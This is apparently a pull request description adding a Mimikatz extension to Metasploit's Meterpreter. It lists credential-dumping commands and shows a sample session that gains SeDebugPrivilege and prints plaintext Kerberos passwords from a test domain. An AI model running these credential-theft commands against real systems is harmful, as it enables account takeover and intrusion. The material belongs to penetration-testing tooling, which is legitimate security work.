Mimikatz extension

Framework side of https://github.com/rapid7/meterpreter/pull/9
I have raised a number of discussion points on the meterpreter pull.

```
Mimikatz Commands
=================

    Command       Description
    -------       -----------
    kerberos      Attempt to retrieve kerberos creds
    livessp       Attempt to retrieve livessp creds
    msv           Attempt to retrieve msv creds (hashes)
    ssp           Attempt to retrieve ssp creds
    tspkg         Attempt to retrieve tspkg creds
    wdigest       Attempt to retrieve wdigest creds
```

```
meterpreter > load mimikatz
Loading extension mimikatz...success.
meterpreter > tspkg
[!] Not currently running as SYSTEM
[*] Attempting to getprivs
[+] Got SeDebugPrivilege
[*] Retrieving tspkg credentials
tspkg credentials
=================

AuthID     Package    Domain        User           Password
------     -------    ------        ----           --------
0;999      Negotiate  TEST          WIN7-X86$      
0;24916    NTLM                                    
0;996      Negotiate  TEST          WIN7-X86$      
0;997      Negotiate  NT AUTHORITY  LOCAL SERVICE  
0;56055    Kerberos   TEST          User           Password1
0;1997109  Kerberos   TEST          Administrator  Password2
0;1907035  Kerberos   TEST          Administrator  Password2
0;2106260  Kerberos   TEST          Administrator  Password2
```